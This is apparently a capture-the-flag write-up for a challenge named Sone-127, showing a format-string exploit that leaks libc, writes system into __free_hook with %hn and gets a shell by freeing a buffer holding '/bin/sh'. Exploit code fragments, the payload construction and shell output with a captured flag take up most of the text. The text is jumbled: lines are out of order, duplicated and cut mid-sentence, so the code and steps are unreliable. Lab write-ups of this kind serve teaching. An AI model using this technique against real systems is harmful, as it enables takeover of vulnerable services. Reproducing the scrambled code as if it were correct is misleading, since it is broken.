Sone-127 2021 Apr 2026

> download sh.txt /bin/sh $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $ cat /flag.txt FLAGSONE_127_2021_4c7f5b Success! #!/usr/bin/env python3 # -*- coding: utf-8 -*-

%addr_lowc%8$hn%addr_highc%9$hn Because the target address ( __free_hook ) is 8‑byte aligned, we split it into two 2‑byte halves and write with %hn (write 2 bytes).

if __name__ == '__main__': main()

# 1️⃣ Leak libc libc_base = leak_libc(io)

io.sendlineafter(b'> ', b'echo ' + payload) io.recvuntil(b'> ') # sync back to prompt SONE-127 2021

> upload sh.txt [uploading 8 bytes] /bin/sh The service stores the content in a heap chunk. When we later request download sh.txt , the binary will free the buffer after sending the content. Because __free_hook now points to system , free(buf) becomes system(buf) . Since buf points to the string "/bin/sh" , we get a shell.

# Build the format string payload = b'A'*8 payload += f"%lowc%8$hn".encode() payload += f"%diffc%9$hn".encode() payload += b'B'*8 payload += p64(free_hook) # 8th argument payload += p64(free_hook + 2) # 9th argument > download sh

The final crafted string (Python example):

| Function | Purpose | |----------|---------| | leak_libc | Uses the format‑string to leak a libc address and compute the base. | | write_free_hook | Crafts a two‑write %hn payload that stores system at __free_hook . | | get_shell | Uploads a chunk containing /bin/sh and then frees it, invoking system . | | main | Orchestrates the steps and drops When we later request download sh

low = free_hook & 0xffff high = (free_hook >> 16) & 0xffff diff = (high - low) % 0x10000